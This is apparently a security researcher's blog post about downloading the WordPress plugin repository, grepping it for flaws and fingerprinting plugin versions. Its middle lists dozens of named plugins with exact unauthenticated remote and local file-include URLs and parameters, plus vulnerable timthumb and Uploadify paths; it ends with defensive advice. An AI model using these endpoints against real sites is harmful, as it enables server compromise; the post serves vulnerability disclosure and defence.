Explo(it|r)ing the WordPress Extension Repos

Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize

in advance. I discuss what all of these are for and how they work later on in the post, so if you're confused and/or curious, read on. Downloads:

This package also contains some useful libraries for checking out the repositories and scraping plugin rankings, as this is used in the fingerprinting tool.

After realizing this, I became curious as to how many plugins make easy-to-spot security mistakes, such as reusing vulnerable libraries or doing such things as include($_REQUEST['lulz']). However, my curiosity was initially somewhat hampered by the fact

that downloading and auditing every WordPress plugin one at a time is not only a mind numbing task, but a herculean one as well. And, well, I'm incredibly lazy.

and have my answers.

Alright, so maybe it isn't as simple as that. First, the plugin repo is huge: as is, it's taking up a good 80GB on one of my disks and contains approximately 12,000,000 files, thanks in no small part to subversion's insistence on creating ridiculous numbers

of internal files. This isn't all that suprising, however, given that the repo contains ~23,000 plugins.

As I found out in my initial failed attempts to grab the code, checking this out all at once with subversion is, as far as I can tell, impossible. After about 15-20 minutes of downloading, the checkout would error out, and I'd have to wait for SVN to reverify

everything it had already gotten. This got old quickly, so I came up with a hacked workaround: I wrote a quick script that simply checked out the individual repositories for every plugin and theme. Not very clean, but for my purposes, effective. A little over

a day later, I had all the themes and plugins, and it was time for some fun.

A side note: for those of you who would like to play with either of these, I'd recommend

Anyway, on to the vulnerabilities. During my scans I found remote unauthenticated code execution vulnerabilities in 36 plugins, varying in popularity from ~250 downloads to ~60,000. Finding them took essentially no effort or skill on my part, just patience.

The following eleven plugins were found entirely with grep and a little bit of manual inspection. Instead of running over every PHP file in the repo, I sped things up by only running over code in the trunk directories. This was under the assumption that

that should be the latest code. Pretty much all of these were found analyzing results from the same grep:

Grep used: egrep -i '(include|require)(_once)?(\(|\s+)[^[;)]*\$_(REQUEST|GET|POST|COOKIE)'

Base is http://host/wp-content/plugins/PLUGIN_NAME/ unless explicitly stated.

Remote File Include - unauthenticated

----------------------------------------------------------

zingiri-web-shop = /fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI

mini-mail-dashboard-widget = wp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)

mailz = /lists/config/config.php?wpabspath=RFI

relocate-upload = relocate-upload.php?ru_folder=asdf&abspath=RFI

disclosure-policy-plugin = /functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI

wordpress-console = /common.php POST="root=RFI"

livesig = /livesig-ajax-backend.php POST="wp-root=RFI"

annonces = /includes/lib/photo/uploadPhoto.php?abspath=RFI

theme-tuner = /ajax/savetag.php POST="tt-abspath=RFI"

evarisk = /include/lib/actionsCorrectives/activite/uploadPhotoApres.php?abspath=RFI

light-post = /wp-light-post.php?abspath=RFI

Local File Include - unauthenticated

news-and-events = http://host/wordpress/?ktf=ne_LFIPATH%00

the plugin repo. Unfortunately, the noise was still pretty high (partly due to its lack of OO support), so I didn't find all too much beyond the greps. However, it did turn up a few RFIs:

thecartpress = /checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI

allwebmenus-wordpress-menu-plugin = actions.php POST="abspath=RFI"

wpeasystats = export.php?homep=RFI

Finally, I searched for Uploadify usage and outdated timthumb.php libraries. This turned up another 24 vulnerable plugins:

user-avatar - /user-avatar-pic.php -> Only vulnerable if register_globals is enabled

onswipe - /framework/thumb/thumb.php

islidex - /js/timthumb.php

seo-image-galleries - /timthumb.php

verve-meta-boxes - /tools/timthumb.php

dd-simple-photo-gallery - /include/resize.php

wp-marketplace - /libs/timthumb.php

a-gallery - /timthumb.php

auto-attachments - /thumb.php

cac-featured-content - /timthumb.php

category-grid-view-gallery - /includes/timthumb.php

category-list-portfolio-page - /scripts/timthumb.php

cms-pack - /timthumb.php

dp-thumbnail - /timthumb/timthumb.php

extend-wordpress - /helpers/timthumb/image.php

kino-gallery - /timthumb.php

lisl-last-image-slider - /timthumb.php

mediarss-external-gallery - /timthumb.php

really-easy-slider - /inc/thumb.php

rekt-slideshow - /picsize.php

rent-a-car - /libs/timthumb.php

vk-gallery - /lib/timthumb.php

gpress = /gpress-admin/fieldtypes/styles_editor/scripts/uploadify.php?fileext=php - exact same as 1 Flash Plugin vuln

Obviously, it's not very hard to find a decent number of 0days just by grepping around, which is mildly disconcerting. Honestly, I had so many hits for these searches that I probably missed a good deal of them. But what else, besides vulnerability discovery,

can we do with all this data?

As an attacker, it's always nice to be able to figure out exactly what code is running on a given server. Of course, this isn't usually possible, as it requires a large body of information that just isn't there. However, it becomes much, much easier when

you have access to the wealth of information contained in an SVN repo.

would normally be difficult to impossible in most circumstances, and his tool does a ton of stuff that wpfinger doesn't.

So what does the repo give us that we were missing before? Well, we of course have a list of all the plugins, and it is then trivial to grab all of their download stats from wordpress.org to sort them in order of popularity. In addition, we have not only

the current version of the plugin in the trunks, but we also (if SVN is being used properly) have tags for each of the major version changes. Simply by comparing these and finding changed files that we can check for remotely (added/removed/modified content

files or added/removed php scripts), we can build a very effective fingerprint for each version of the plugin. Then, all we have to do is run a small number of checks once we find that a plugin is installed to obtain, at the very least, the major version of

the plugin.

My current implementation is not pretty, but it seems to work quite well on the servers I tested with. My signatures are simply binary search trees encoded using Python tuples (don't judge me, it was quick to do it that way), which I regenerate whenever

I update the SVN.  The initial fingerprinting takes quite awhile, as it stupidly MD5s all of the relevant files in the repos. This was before I knew that

Once the signatures are created, the scans are quite fast, and very effective. It normally only takes one to two requests to detect plugin presence, and only takes two or three more in most cases to detect the version. It also tries to deal with things like

error pages that return 200 by using difflib to compare the error page to the returned page, although there's probably still some issues with that.

<a href="http://spareclockcycles.org/wp-content/uploads/2011/09/wpfinger1.png"></a>

Plugins + versions

Now that I've outlined more than enough ways to aid exploitation, let's talk briefly about what can be done to help prevent some of these attacks.

For the WordPress developers, the best defense would probably be to scan any commits for known vulnerabilities, and either warn or (preferably) block the developers from adding exploitable code to the repository. This can be done quite easily using pre-commit

hooks for SVN, which allow for custom verification of commits to a repository. I'm planning on releasing an example script when I get time that will detect commits introducing the vulnerabilities I scanned for, but the more interesting problem is how to gather

a larger, better collection of signatures. I've got a couple vague ideas for how to go about doing this, but would love suggestions on the subject.

As for what site admins can do, it's pretty clear: don't install plugins or themes unless you *absolutely* need to or you are willing to and have the expertise to audit what you're installing. Just because you have the latest version does not necessarily

make you safe, and if you forget to update, it's quite easy for an attacker to detect and exploit. In addition to limiting your number of installed plugins, it might be possible to parse the signatures I provide and use a WAF to return tainted results when

those URLs are requested too closely together. Haven't personally done it, but I'm sure it wouldn't be too extraordinarily difficult.

The methods presented here are not unique to WordPress; I'm fairly confident in saying that it could easily be applied to any open source CMS. I largely chose WordPress because I was already working with it when I stumbled into this, and they had a really

nice repository to pull from. Please feel free to try it out other places, and let me know how it goes.